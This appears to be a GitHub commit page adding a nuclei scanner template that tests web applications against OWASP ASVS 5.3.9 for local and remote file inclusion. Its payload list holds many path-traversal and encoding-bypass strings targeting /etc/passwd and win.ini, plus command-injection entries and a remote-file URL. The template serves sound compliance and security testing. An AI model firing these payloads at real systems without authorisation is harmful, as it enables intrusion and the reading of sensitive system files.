Skip to content

Commit 7823447

Browse files
AhsraeisiAhsraeisi
authored
Create 5.3.9.yaml
Based on requirement 5.3.9, this template checks whether the application protects against Local File Inclusion (LFI) or Remote File Inclusion (RFI) attacks. Signed-off-by: AmirHossein Raeisi <[email protected]>
1 parent 88dbe46 commit 7823447

File tree

1 file changed

+143
-0
lines changed

1 file changed

+143
-0
lines changed

‎templates/dast/5.3.9.yaml‎

Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
id: ASVS-4-0-3-V5-3-9
2+
3+
info:
4+
name: ASVS 5.3.9 Check
5+
author: AmirHossein Raeisi
6+
severity: high
7+
classification:
8+
cwe-id: CWE-829
9+
reference:
10+
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
11+
- https://snbig.github.io/Vulnerable-Pages/ASVS_5_3_9/
12+
- https://github.com/projectdiscovery/nuclei-templates/tree/main/dast/vulnerabilities/lfi
13+
- https://snbig.github.io/Vulnerable-Pages/ASVS_12_3_3/
14+
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion
15+
tags: asvs,5.3.9
16+
description: |
17+
Verify that the application protects against Local File Inclusion (LFI) or Remote File Inclusion (RFI) attacks.
18+
metadata:
19+
max-request: 90
20+
21+
http:
22+
- pre-condition:
23+
- type: dsl
24+
dsl:
25+
- 'method == "GET"'
26+
27+
payloads:
28+
LFI-RFI:
29+
# LFI (Linux)
30+
- '/etc/passwd'
31+
- '../etc/passwd'
32+
- '../../etc/passwd'
33+
- '../../../etc/passwd'
34+
- '/../../../../etc/passwd'
35+
- '../../../../../../../../../etc/passwd'
36+
- '../../../../../../../../etc/passwd'
37+
- '../../../../../../../etc/passwd'
38+
- '../../../../../../etc/passwd'
39+
- '../../../../../etc/passwd'
40+
- '../../../../etc/passwd'
41+
- '../../../etc/passwd'
42+
- '../../../etc/passwd%00'
43+
- '../../../../../../../../../../../../etc/passwd%00'
44+
- '../../../../../../../../../../../../etc/passwd'
45+
- '/../../../../../../../../../../etc/passwd^^'
46+
- '/../../../../../../../../../../etc/passwd'
47+
- '/./././././././././././etc/passwd'
48+
- '\..\..\..\..\..\..\..\..\..\..\etc\passwd'
49+
- '..\..\..\..\..\..\..\..\..\..\etc\passwd'
50+
- '/..\../..\../..\../..\../..\../..\../etc/passwd'
51+
- '.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd'
52+
- '\..\..\..\..\..\..\..\..\..\..\etc\passwd%00'
53+
- '..\..\..\..\..\..\..\..\..\..\etc\passwd%00'
54+
- '%252e%252e%252fetc%252fpasswd'
55+
- '%252e%252e%252fetc%252fpasswd%00'
56+
- '%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
57+
- '%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00'
58+
- '....//....//etc/passwd'
59+
- '..///////..////..//////etc/passwd'
60+
- '/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd'
61+
- '%0a/bin/cat%20/etc/passwd'
62+
- '%00/etc/passwd%00'
63+
- '%00../../../../../../etc/passwd'
64+
- '/../../../../../../../../../../../etc/passwd%00.jpg'
65+
- '/../../../../../../../../../../../etc/passwd%00.html'
66+
- '/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd'
67+
- '/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
68+
- '\\&apos;/bin/cat%20/etc/passwd\\&apos;'
69+
- '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
70+
- '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
71+
- '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
72+
- '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
73+
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
74+
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
75+
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
76+
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
77+
# LFI (Windows)
78+
- '\WINDOWS\win.ini'
79+
- '../../windows/win.ini'
80+
- '....//....//windows/win.ini'
81+
- '../../../../../windows/win.ini'
82+
- '/..///////..////..//////windows/win.ini'
83+
- '/../../../../../../../../../windows/win.ini'
84+
- './../../../../../../../../../../windows/win.ini'
85+
- '..%2f..%2f..%2f..%2fwindows/win.ini'
86+
- '\WINDOWS\win.ini%00'
87+
- '\WINNT\win.ini'
88+
- '\WINNT\win.ini%00'
89+
- 'windows/win.ini%00'
90+
- '/...\...\...\...\...\...\...\...\...\windows\win.ini'
91+
- '/.../.../.../.../.../.../.../.../.../windows/win.ini'
92+
- '/..../..../..../..../..../..../..../..../..../windows/win.ini'
93+
- '/....\....\....\....\....\....\....\....\....\windows\win.ini'
94+
- '\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini'
95+
- '/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini'
96+
- '/../../../../../../../../../../../../../../../../&location=Windows/win.ini'
97+
- '..%2f..%2f..%2f..%2f..%2fwindows/win.ini'
98+
- '..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini'
99+
- '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
100+
- '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00'
101+
- '..%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini'
102+
- '..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini'
103+
- '/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini'
104+
- '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini'
105+
- '/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini'
106+
- '/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini'
107+
- '/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
108+
- '%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini'
109+
- '%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
110+
- '/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini'
111+
- '/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\win.ini'
112+
- '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini'
113+
- '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
114+
- '%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
115+
- '%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini'
116+
# RFI
117+
- "https://snbig.github.io/Vulnerable-Pages/ASVS_12_3_3/rfi.txt"
118+
fuzzing:
119+
- part: query
120+
type: replace # replaces existing parameter value with fuzz payload
121+
mode: multiple # replaces all parameters value with fuzz payload
122+
fuzz:
123+
- '{{LFI-RFI}}'
124+
125+
stop-at-first-match: true
126+
matchers:
127+
- type: word
128+
part: body
129+
words:
130+
- "bit app support"
131+
- "fonts"
132+
- "extensions"
133+
condition: and
134+
135+
- type: regex
136+
part: body
137+
regex:
138+
- 'root:.*:0:0:'
139+
140+
- type: word
141+
part: body
142+
words:
143+
- "d5b82f27-b7a4-4c3e-8b6e-88fd9e97b16a"

0 commit comments

Comments
 (0)